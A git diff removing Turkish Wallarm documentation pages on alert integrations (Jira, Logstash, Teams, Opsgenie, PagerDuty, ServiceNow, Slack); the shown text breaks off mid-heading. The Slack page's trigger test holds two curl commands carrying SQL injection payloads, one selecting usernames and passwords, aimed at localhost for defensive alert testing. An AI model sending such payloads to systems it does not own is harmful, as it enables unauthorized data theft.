              Ara veri bağlayıcısı olarak Fluentd

              -

              Diğer sistemlerle entegrasyon için Fluentd'yi ara sistem olarak kullanın

              -
              -
              -
              -
              -

              Ara veri bağlayıcısı olarak Fluentd

              -

              Diğer sistemlerle entegrasyon için Fluentd'yi ara sistem olarak kullanın

              -
              - -

              Wallarm → Fluentd → IBM QRadar

              -

              Günlükleri Fluentd aracılığıyla IBM QRadar'a gönderin

              -               - -

              Wallarm → Fluentd → Splunk Enterprise

              -

              Günlükleri Fluentd aracılığıyla Splunk Enterprise'a gönderin

              -               - -

              Wallarm → Fluentd → Micro Focus ArcSight Logger

              -

              Bildirimleri Fluentd aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -               - -

              Wallarm → Fluentd → Datadog

              -

              Bildirimleri Fluentd aracılığıyla Datadog'a gönderin

              -               -
              -
              -
              - -

              Logstash

              -

              Tespit edilen olayların bildirimlerini Logstash sistemine gönderin veya diğer sistemlerle entegrasyon için Logstash'i ara sistem olarak kullanın

              -
              - -

              Yerel entegrasyon

              -

              Tespit edilen olayların bildirimlerini doğrudan Logstash'e gönderin

              -               -
              -

              Ara veri bağlayıcısı olarak Logstash

              -

              Diğer sistemlerle entegrasyon için Logstash'i ara sistem olarak kullanın

              -
              -
              -
              -
              -

              Ara veri bağlayıcısı olarak Logstash

              -

              Diğer sistemlerle entegrasyon için Logstash'i ara sistem olarak kullanın

              -
              - -

              Wallarm → Logstash → IBM QRadar

              -

              Günlükleri Logstash aracılığıyla IBM QRadar'a gönderin

              -               - -

              Wallarm → Logstash → Splunk Enterprise

              -

              Günlükleri Logstash aracılığıyla Splunk Enterprise'a gönderin

              -               - -

              Wallarm → Logstash → Micro Focus ArcSight Logger

              -

              Bildirimleri Logstash aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -               - -

              Wallarm → Logstash → Datadog

              -

              Bildirimleri Logstash aracılığıyla Datadog'a gönderin

              -               -
              -
              - -## Veri toplayıcılar aracılığıyla entegrasyonlar - -
              -
              -
              - -

              IBM QRadar

              -

              Günlükleri Fluentd veya Logstash aracılığıyla IBM QRadar'a gönderin

              -
              -
              - -

              Splunk Enterprise

              -

              Günlükleri Fluentd veya Logstash aracılığıyla Splunk Enterprise'a gönderin

              -
              -
              - -

              Micro Focus ArcSight Logger

              -

              Bildirimleri Fluentd veya Logstash aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -
              -
              - -

              Datadog

              -

              Olayları Fluentd veya Logstash aracılığıyla Datadog Logs servisine gönderin

              -
              -
              -
              -
              - -

              IBM QRadar

              -

              Günlükleri Fluentd veya Logstash aracılığıyla IBM QRadar'a gönderin

              -
              - -

              Wallarm → Fluentd → IBM QRadar

              -

              Günlükleri Fluentd aracılığıyla IBM QRadar'a gönderin

              -               - -

              Wallarm → Logstash → IBM QRadar

              -

              Günlükleri Logstash aracılığıyla IBM QRadar'a gönderin

              -               -
              -
              -
              - -

              Splunk Enterprise

              -

              Günlükleri Fluentd veya Logstash aracılığıyla Splunk Enterprise'a gönderin

              -
              - -

              Wallarm → Fluentd → Splunk Enterprise

              -

              Günlükleri Fluentd aracılığıyla Splunk Enterprise'a gönderin

              -               - -

              Wallarm → Logstash → Splunk Enterprise

              -

              Günlükleri Logstash aracılığıyla Splunk Enterprise'a gönderin

              -               -
              -
              -
              - -

              Micro Focus ArcSight Logger

              -

              Bildirimleri Fluentd veya Logstash aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -
              - -

              Wallarm → Fluentd → Micro Focus ArcSight Logger

              -

              Bildirimleri Fluentd aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -               - -

              Wallarm → Logstash → Micro Focus ArcSight Logger

              -

              Bildirimleri Logstash aracılığıyla Micro Focus ArcSight Logger'a gönderin

              -               -
              -
              -
              - -

              Datadog

              -

              Olayları Fluentd veya Logstash aracılığıyla Datadog Logs servisine gönderin

              -
              - -

              Wallarm → Fluentd → Datadog

              -

              Günlükleri Fluentd aracılığıyla Datadog'a gönderin

              -               - -

              Wallarm → Logstash → Datadog

              -

              Günlükleri Logstash aracılığıyla Datadog'a gönderin

              -               -
              -
              - -## Diğer sistemler - -
              -
              - - -

              Webhook

              -

              Evrensel bağlayıcı: HTTPS protokolü üzerinden gelen webhooks kabul eden herhangi bir sisteme anlık bildirimler gönderin

              -               - - -

              Entegrasyon talep edin

              -

              Aradığınız sistem yoksa bize bildirin. Entegrasyonun mümkün olup olmadığını kontrol eder ve sizinle iletişime geçeriz.

              -               -
              -
              - - \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/jira.md b/docs/latest-tr/user-guides/settings/integrations/jira.md deleted file mode 100644 index 621fa6044d..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1,41 +0,0 @@ -# Atlassian Jira - -[Jira](https://www.atlassian.com/software/jira), Atlassian tarafından geliştirilen, yaygın olarak kullanılan bir proje yönetimi ve issue takip yazılımıdır. [Zafiyetler](../../../glossary-en.md#vulnerability) tespit edildiğinde, seçilen risk düzeyi/düzeyleri (yüksek, orta veya düşük) için veya tümü için, Jira'da issue oluşturacak şekilde Wallarm'ı yapılandırabilirsiniz. - -## Entegrasyonu yapılandırma - -Jira UI'da: - -1. API belirtecini [burada](https://support.atlassian.com/atlassian-account/docs/manage-api-tokens-for-your-atlassian-account/#Create-an-API-token) açıklandığı gibi oluşturun. -1. Oluşturulan API belirtecini kopyalayın. - -Wallarm UI'da: - -1. Wallarm Console → **Integrations** → **Jira**'yı açın. -1. Bir entegrasyon adı girin. -1. Jira host'unu girin (ör. `https://company-x.atlassian.net/`). -1. Kimlik doğrulama için Jira'nın gerektirdiği ve oluşturulan issue'lar için Reporter'ı tanımlamakta da kullanılacak olan Jira kullanıcı e‑postasını girin. -1. Oluşturulan API belirtecini yapıştırın. Belirtilen Jira host'unda Wallarm'ı kimlik doğrulamak için e‑posta ve belirteç kontrol edilecektir. Başarılı olursa, bu Jira kullanıcısının erişebildiği alanlar listelenecektir. -1. Issue'ların oluşturulacağı Jira alanını seçin. Seçildiğinde, bu alanda desteklenen issue türleri listelenecektir. -1. Oluşturulan issue'ların ait olacağı Jira issue türünü seçin. -1. Bildirimleri tetikleyecek olay türlerini seçin. Tüm zafiyetler veya yalnızca belirli risk düzey(ler)indekiler seçilebilir. - - ![Jira entegrasyonu](../../../images/user-guides/settings/integrations/add-jira-integration.png) - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud kullanılabilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'ı tıklayın. - - Jira issue oluşturmayı test edin: - - ![Jira issue oluşturmayı test etme](../../../images/user-guides/settings/integrations/test-jira-issue-creation.png) - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistemin kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/logstash.md b/docs/latest-tr/user-guides/settings/integrations/logstash.md deleted file mode 100644 index 597148cc54..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1,193 +0,0 @@ -# Logstash - -[Logstash](https://www.elastic.co/logstash), Elastic tarafından geliştirilen açık kaynaklı bir veri işleme ve log yönetimi aracıdır. Wallarm’ı tespit edilen olayların bildirilerini Logstash’e gönderecek şekilde yapılandırabilirsiniz. - -## Bildirim formatı - -Wallarm, Logstash’e JSON formatında **webhook**’lar üzerinden bildirim gönderir. JSON nesnelerinin kümesi, Wallarm’ın bildirdiği olaya bağlıdır. - -Tespit edilen yeni hit bildirimi örneği: - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## Gereksinimler - -Logstash yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmelidir -* HTTPS isteklerini kabul etmelidir -* Herkese açık bir URL’ye sahip olmalıdır - -Logstash yapılandırma örneği: - -```bash linenums="1" -input { - http { # HTTP ve HTTPS trafiği için input eklentisi - port => 5044 # gelen istekler için port - ssl => true # HTTPS trafiği işleme - ssl_certificate => "/etc/server.crt" # Logstash TLS sertifikası - ssl_key => "/etc/server.key" # TLS sertifikası için özel anahtar - } -} -output { - stdout {} # Logstash loglarını komut satırında yazdırmak için output eklentisi - ... -} -``` - -Daha fazla ayrıntıyı [resmi Logstash dokümantasyonunda](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) bulabilirsiniz. - -## Entegrasyonun ayarlanması - -1. Wallarm Console → **Integrations** → **Logstash** içinde Logstash entegrasyon kurulumuna ilerleyin. -1. Entegrasyon adını girin. -1. Hedef Logstash URL’sini belirtin (Webhook URL). -1. Gerekirse gelişmiş ayarları yapılandırın: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Logstash entegrasyonu](../../../images/user-guides/settings/integrations/add-logstash-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını doğrulamak için **Test integration**’a tıklayın. - - Test Logstash logu: - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. **Add integration**’a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıların ayarlanması - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Ara veri toplayıcı olarak Logstash kullanımı - ---8<-- "../include/integrations/webhook-examples/overview.md" - -Örneğin: - -![Webhook akışı](../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -Bu şemayı kullanarak Wallarm olaylarını loglamak için: - -1. Gelen webhook’ları okumak ve logları bir sonraki sisteme iletmek üzere veri toplayıcıyı yapılandırın. Wallarm, olayları veri toplayıcılara webhook’lar aracılığıyla gönderir. -1. Bir SIEM sistemini, logları veri toplayıcıdan alıp okumak üzere yapılandırın. -1. Wallarm’ı logları veri toplayıcıya gönderecek şekilde yapılandırın. - - Wallarm, webhook’lar aracılığıyla logları herhangi bir veri toplayıcıya gönderebilir. - - Wallarm’ı Fluentd veya Logstash ile entegre etmek için Wallarm Console UI içindeki ilgili integration cards kullanılabilir. - - Wallarm’ı diğer veri toplayıcılarla entegre etmek için Wallarm Console UI içindeki [webhook integration card](webhook.md) kullanılabilir. - -Logları SIEM sistemlerine ileten popüler veri toplayıcılarla entegrasyonun nasıl yapılandırılacağına dair bazı örnekleri anlattık: - -* [Wallarm → Logstash → IBM QRadar](webhook-examples/logstash-qradar.md) -* [Wallarm → Logstash → Splunk Enterprise](webhook-examples/logstash-splunk.md) -* [Wallarm → Logstash → Micro Focus ArcSight Logger](webhook-examples/logstash-arcsight-logger.md) -* [Wallarm → Logstash → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarm ayrıca [Datadog API aracılığıyla Datadog ile yerel entegrasyonu](datadog.md) destekler. Yerel entegrasyon, ara bir veri toplayıcı kullanımını gerektirmez. - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/microsoft-teams.md b/docs/latest-tr/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index d5ee0ccd66..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1,48 +0,0 @@ -# Microsoft Teams - -[Microsoft Teams](https://www.microsoft.com/en-us/microsoft-teams/group-chat-software), ekip çalışmasını kolaylaştırmak ve kuruluşların ister ofiste, ister uzaktan, ister her ikisinin birleşimiyle çalışsın, etkili şekilde iletişim kurmasını, işbirliği yapmasını ve projeleri yönetmesini sağlamak üzere tasarlanmış bir işbirliği ve iletişim platformudur. Wallarm’ı Microsoft Teams kanal(lar)ınıza bildirim gönderecek şekilde yapılandırabilirsiniz. Birden fazla farklı kanala bildirim göndermek istiyorsanız, birden fazla Microsoft Teams entegrasyonu oluşturun. - -## Entegrasyonu ayarlama - -1. **Integrations** bölümünü açın. -1. **Microsoft Teams** bloğunu tıklayın veya **Add integration** düğmesini tıklayıp **Microsoft Teams** seçin. -1. Bir entegrasyon adı girin. -1. Bildirimleri göndermek istediğiniz Microsoft Teams kanalının ayarlarını açın ve [talimatlar](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) kullanarak yeni bir Webhook yapılandırın. -1. Sağlanan Webhook URL’sini kopyalayın ve değeri Wallarm Console içindeki **Webhook URL** alanına yapıştırın. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![MS Teams entegrasyonu](../../../images/user-guides/settings/integrations/add-ms-teams-integration.png) - - Mevcut olaylar hakkında ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud kullanılabilirliğini ve bildirim biçimini kontrol etmek için **Test integration**’ı tıklayın. - - Bu, “[Test message]” önekiyle test bildirimlerini gönderecektir: - - ``` - [Test message] [Test partner] Network perimeter has changed - - Notification type: new_scope_object_ips - - New IP addresses were discovered in the network perimeter: - 8.8.8.8 - - Client: TestCompany - Cloud: EU - ``` - -1. **Add integration**’ı tıklayın. - -## Ek uyarıları ayarlama - ---8<-- "../include/integrations/integrations-trigger-setup-limited.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistemin kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/opsgenie.md b/docs/latest-tr/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index cf703d01bb..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1,84 +0,0 @@ -# Opsgenie - -[Opsgenie](https://www.atlassian.com/software/opsgenie), Atlassian tarafından sunulan bir olay yönetimi ve uyarı aracıdır. Wallarm’ı, uyarıları Opsgenie’ye gönderecek şekilde yapılandırabilirsiniz. - -## Entegrasyonun ayarlanması - -[Opsgenie UI](https://app.opsgenie.com/teams/list) içinde: - -1. Ekibinize gidin ➝ **Integrations**. -2. **Add integration** düğmesine tıklayın ve **API** seçin. -3. Yeni entegrasyon için bir ad girin ve **Save Integration**’a tıklayın. -4. Sağlanan API key’i kopyalayın. - -Wallarm UI’de: - -1. **Integrations** bölümünü açın. -1. **Opsgenie** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Opsgenie**’yi seçin. -1. Bir entegrasyon adı girin. -1. Kopyaladığınız API key’i **API key** alanına yapıştırın. -1. Opsgenie’nin [EU instance'ını](https://docs.opsgenie.com/docs/european-service-region) kullanıyorsanız, listeden uygun Opsgenie API endpoint’ini seçin. Varsayılan olarak US instance endpoint’i ayarlıdır. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Opsgenie entegrasyonu](../../../images/user-guides/settings/integrations/add-opsgenie-integration.png) - - Kullanılabilir olayların ayrıntıları: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim biçimini kontrol etmek için **Test integration**’a tıklayın. - - Bu, “[Test message]” öneki ile test bildirimleri gönderecektir: - - ![Opsgenie test mesajı](../../../images/user-guides/settings/integrations/test-opsgenie-new-vuln.png) - -1. **Add integration**’a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıların ayarlanması - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### Örnek: Bir saniye içinde 2 veya daha fazla olay tespit edilirse Opsgenie bildirimi - -Uygulama sunucusu veya veritabanı ile ilgili 1 saniye içinde 2 veya daha fazla olay tespit edilirse bu olaya ilişkin bildirim Opsgenie’ye gönderilecektir. - -![Verileri Splunk'a gönderen bir tetikleyici örneği](../../../images/user-guides/triggers/trigger-example3.png) - -**Tetiği test etmek için**, korunan kaynağa, aktif bir güvenlik açığını istismar eden saldırı göndermek gerekir. Wallarm Console → **Vulnerabilities** bölümü, uygulamalarınızda tespit edilen aktif güvenlik açıklarını ve bu açıkları istismar eden saldırı örneklerini görüntüler. - -Saldırı örneği korunan kaynağa gönderilirse, Wallarm olayı kaydedecektir. İki veya daha fazla kayıtlı olay, aşağıdaki bildirimin Opsgenie’ye gönderilmesini tetikleyecektir: - -``` -[Wallarm] Trigger: Olay sayısı eşik değerini aştı - -Bildirim türü: incidents_exceeded - -Algılanan olay sayısı 1'i 1 saniye içinde aştı. -Bu bildirim "Notification about incidents" trigger'ı tarafından tetiklendi. - -Tetikleyicinin ek koşulları: -Hedef: sunucu, veritabanı. - -Olayları görüntüle: -https://my.wallarm.com/attacks?q=incidents&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -Müşteri: TestCompany -Cloud: EU -``` - -* `Notification about incidents` tetikleyicinin adıdır -* `TestCompany`, Wallarm Console içindeki şirket hesabınızın adıdır -* `EU`, şirket hesabınızın kayıtlı olduğu Wallarm Cloud’dur - -!!! info "Kaynağı aktif güvenlik açığı istismarına karşı koruma" - Kaynağı aktif güvenlik açığı istismarına karşı korumak için, güvenlik açığını zamanında yamalamanızı öneririz. Güvenlik açığı uygulama tarafında yamalanamıyorsa, bu güvenlik açığını istismar eden saldırıları engellemek için lütfen bir [sanal yama](../../rules/vpatch-rule.md) yapılandırın. - -## Entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/pagerduty.md b/docs/latest-tr/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index 7105d97f80..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1,59 +0,0 @@ -[link-pagerduty-docs]: https://support.pagerduty.com/docs/services-and-integrations - -# PagerDuty - -[PagerDuty](https://www.pagerduty.com/), dijital operasyonların güvenilirliğini sağlayarak olayların daha etkili yönetilmesi ve çözümlenmesine yardımcı olan bir olay yönetimi ve müdahale platformudur. Wallarm'ı, olayları PagerDuty'ye gönderecek şekilde yapılandırabilirsiniz. - -## Entegrasyonun ayarlanması - -PagerDuty UI'de, herhangi bir mevcut servis için [bir entegrasyon ayarlayın][link-pagerduty-docs] veya özellikle Wallarm için yeni bir servis oluşturun: - -1. **Configuration** → **Services**'a gidin. -2. Mevcut servisin ayarlarını açın veya **New Service** düğmesine tıklayın. -3. Yeni bir entegrasyon oluşturun: - - * Mevcut servisin entegrasyonlarını yapılandırıyorsanız, **Integrations** sekmesine gidin ve **New Integration** düğmesine tıklayın. - * Yeni bir servis oluşturuyorsanız, servis adını girin ve **Integration Settings** bölümüne ilerleyin. -4. Entegrasyon adını girin ve entegrasyon türü olarak **Use our API directly** seçeneğini seçin. -5. Ayarları kaydedin: - - * Mevcut servisin entegrasyonlarını yapılandırıyorsanız, **Add Integration** düğmesine tıklayın. - * Yeni bir servis oluşturuyorsanız, kalan ayar bölümlerini yapılandırın ve **Add Service** düğmesine tıklayın. - -5. Sağlanan **Integration Key** değerini kopyalayın. - -Wallarm UI'de: - -1. **Integrations** bölümünü açın. -1. **PagerDuty** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **PagerDuty**'yi seçin. -1. Bir entegrasyon adı girin. -1. **Integration Key** değerini ilgili alana yapıştırın. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![PagerDuty entegrasyonu](../../../images/user-guides/settings/integrations/add-pagerduty-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim biçimini kontrol etmek için **Test integration**'a tıklayın. - - Bu, `[Test message]` önekiyle test bildirimleri gönderecektir: - - ![Test PagerDuty bildirimi](../../../images/user-guides/settings/integrations/test-pagerduty-scope-changed.png) - -1. **Add integration**'a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Ek uyarıları ayarlama - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve hatalı entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/servicenow.md b/docs/latest-tr/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index cae49f99b9..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1,46 +0,0 @@ -# ServiceNow - -[ServiceNow](https://www.servicenow.com/), işletmeler için bir dizi BT hizmet yönetimi (ITSM) ve iş süreçleri otomasyonu çözümü sağlayan bulut tabanlı bir platformdur. Wallarm’ı, ServiceNow içinde sorun kayıtları oluşturacak şekilde yapılandırabilirsiniz. - -## Gereksinimler - -ServiceNow, şirketlerin kurumsal operasyonlar için dijital iş akışlarını yönetmesine yardımcı olan bir platformdur. Bu uygulamaları Wallarm ile entegre edebilmek için şirketinizin size ait bir ServiceNow [örneği ve içinde geliştirilen iş akışı uygulamalarına](https://www.servicenow.com/lpdem/demonow-cloud-platform-app-dev.html) sahip olması gerekir. - -## Entegrasyonun yapılandırılması - -ServiceNow UI: - -1. [ServiceNow örneğinizin](https://docs.servicenow.com/bundle/tokyo-application-development/page/build/team-development/concept/c_InstanceHierarchies.html) adını alın. -1. Örneğe erişmek için kullanıcı adı ve parolayı edinin. -1. OAuth kimlik doğrulamayı etkinleştirin ve [burada](https://docs.servicenow.com/bundle/tokyo-application-development/page/integrate/inbound-rest/task/t_EnableOAuthWithREST.html) açıklandığı gibi client ID ve secret alın. - -Wallarm UI: - -1. Wallarm Console → **Integrations** → **ServiceNow** bölümünü açın. -1. Bir entegrasyon adı girin. -1. ServiceNow örneğinin adını girin. -1. Belirtilen örneğe erişmek için kullanıcı adı ve parolayı girin. -1. OAuth kimlik doğrulama verilerini girin: client ID ve secret. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![ServiceNow entegrasyonu](../../../images/user-guides/settings/integrations/add-servicenow-integration.png) - - Kullanılabilir olaylara ilişkin ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için **Test integration**’a tıklayın. - - Bu işlem, başında “[Test message]” öneki olan test bildirimlerini gönderecektir. - -1. **Add integration**’a tıklayın. - ---8<-- "../include/cloud-ip-by-request.md" - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamaması ve yanlış entegrasyon parametreleri - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/slack.md b/docs/latest-tr/user-guides/settings/integrations/slack.md deleted file mode 100644 index b617792f5e..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1,121 +0,0 @@ -# Slack - -[Slack](https://slack.com/), bulut tabanlı, ekip iş birliği ve mesajlaşma için yaygın olarak kullanılan bir platformdur. Kuruluşlar içinde iletişim ve iş birliğini kolaylaştırmak için, ekiplerin mesaj alışverişinde bulunabileceği, dosya paylaşabileceği ve diğer araçlar ve hizmetlerle entegre olabileceği merkezi bir alan sağlar. Wallarm’ı Slack kanal(lar)ınıza bildirim gönderecek şekilde ayarlayabilirsiniz. Birden fazla farklı Slack kanalına veya hesabına bildirim göndermek isterseniz, birden fazla Slack entegrasyonu oluşturun. - -## Entegrasyonun yapılandırılması - -1. **Integrations** bölümünü açın. -1. **Slack** bloğuna tıklayın veya **Add integration** düğmesine tıklayıp **Slack**’i seçin. -1. Bir entegrasyon adı girin. -1. [Slack'te Webhook ayarları](https://my.slack.com/services/incoming-webhook/) sayfasını açın ve mesajların gönderileceği kanalı seçerek yeni bir Webhook ekleyin. -1. Sağlanan Webhook URL’sini kopyalayın ve değeri Wallarm UI içindeki **Webhook URL** alanına yapıştırın. -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Slack entegrasyonu](../../../images/user-guides/settings/integrations/add-slack-integration.png) - - Kullanılabilir olaylar hakkında ayrıntılar: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için **Test integration**’a tıklayın. - - Bu, başında `[Test message]` ön eki bulunan test bildirimlerini gönderecektir: - - ``` - [Test message] [Test partner] Ağ çevresi değişti - - Bildirim türü: new_scope_object_ips - - Ağ çevresinde yeni IP adresleri keşfedildi: - 8.8.8.8 - - Müşteri: TestCompany - Cloud: EU - ``` - -1. **Add integration**’a tıklayın. - -## Ek uyarıların yapılandırılması - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### Örnek: Bir dakika içinde 2 veya daha fazla SQLi hits tespit edilirse Slack bildirimi - -Korumalı kaynağa 2 veya daha fazla SQLi [hits](../../../glossary-en.md#hit) gönderilirse, bu olayla ilgili bir bildirim Slack kanalına gönderilecektir. - -![Slack'e bildirim gönderen tetikleyici örneği](../../../images/user-guides/triggers/trigger-example1.png) - -**Tetikleyiciyi test etmek için:** - -Aşağıdaki istekleri korunan kaynağa gönderin: - -```bash -curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' -curl 'http://localhost/?id=1%27%20select%20version();' -``` -Slack kanalını açın ve **wallarm** kullanıcısından aşağıdaki bildirimin geldiğini kontrol edin: - -``` -[Wallarm] Trigger: Algılanan hits sayısı eşiği aştı - -Bildirim türü: attacks_exceeded - -Algılanan hits sayısı 1 dakikada 1'i aştı. -Bu bildirim, "Notification about SQLi hits" tetikleyicisi tarafından tetiklendi. - -Ek tetikleyici koşulları: -Saldırı türü: SQLi. - -Olayları görüntüle: -https://my.wallarm.com/attacks?q=attacks&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -Müşteri: TestCompany -Cloud: EU -``` - -* `Notification about SQLi hits`, tetikleyicinin adıdır -* `TestCompany`, Wallarm Console içindeki şirket hesabınızın adıdır -* `EU`, şirket hesabınızın kayıtlı olduğu Wallarm Cloud’tur - -### Örnek: Hesaba yeni kullanıcı eklendiğinde Slack ve e‑posta bildirimi - -Wallarm Console içindeki şirket hesabına **Administrator** veya **Analyst** rolüne sahip yeni bir kullanıcı eklendiğinde, bu olayla ilgili bildirim entegrasyonda belirtilen e‑posta adresine ve Slack kanalına gönderilecektir. - -![Slack'e ve e-posta ile bildirim gönderen tetikleyici örneği](../../../images/user-guides/triggers/trigger-example2.png) - -**Tetikleyiciyi test etmek için:** - -1. Wallarm Console → **Settings** → **Users** bölümünü açın ve yeni bir kullanıcı ekleyin. Örneğin: - - ![Eklenen kullanıcı](../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) -2. E‑posta Gelen Kutunuzu açın ve aşağıdaki mesajın geldiğini kontrol edin: - - ![Yeni kullanıcı eklendiğine dair e-posta](../../../images/user-guides/triggers/test-new-user-email-message.png) -3. Slack kanalını açın ve **wallarm** kullanıcısından aşağıdaki bildirimin geldiğini kontrol edin: - - ``` - [Wallarm] Trigger: Şirket hesabına yeni kullanıcı eklendi - - Bildirim türü: create_user - - Analyst rolüne sahip yeni kullanıcı John Smith , John Doe tarafından şirket hesabına eklendi. - Bu bildirim, "Added user" tetikleyicisi tarafından tetiklendi. - - Müşteri: TestCompany - Cloud: EU - ``` - - * `John Smith` ve `johnsmith@example.com`, eklenen kullanıcıya ilişkin bilgilerdir - * `Analyst`, eklenen kullanıcının rolüdür - * `John Doe` ve `johndoe@example.com`, yeni kullanıcıyı ekleyen kullanıcıya ilişkin bilgilerdir - * `Added user`, tetikleyicinin adıdır - * `TestCompany`, Wallarm Console içindeki şirket hesabınızın adıdır - * `EU`, şirket hesabınızın kayıtlı olduğu Wallarm Cloud’tur - -## Bir entegrasyonu devre dışı bırakma ve silme - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## Sistem kullanılamazlığı ve hatalı entegrasyon 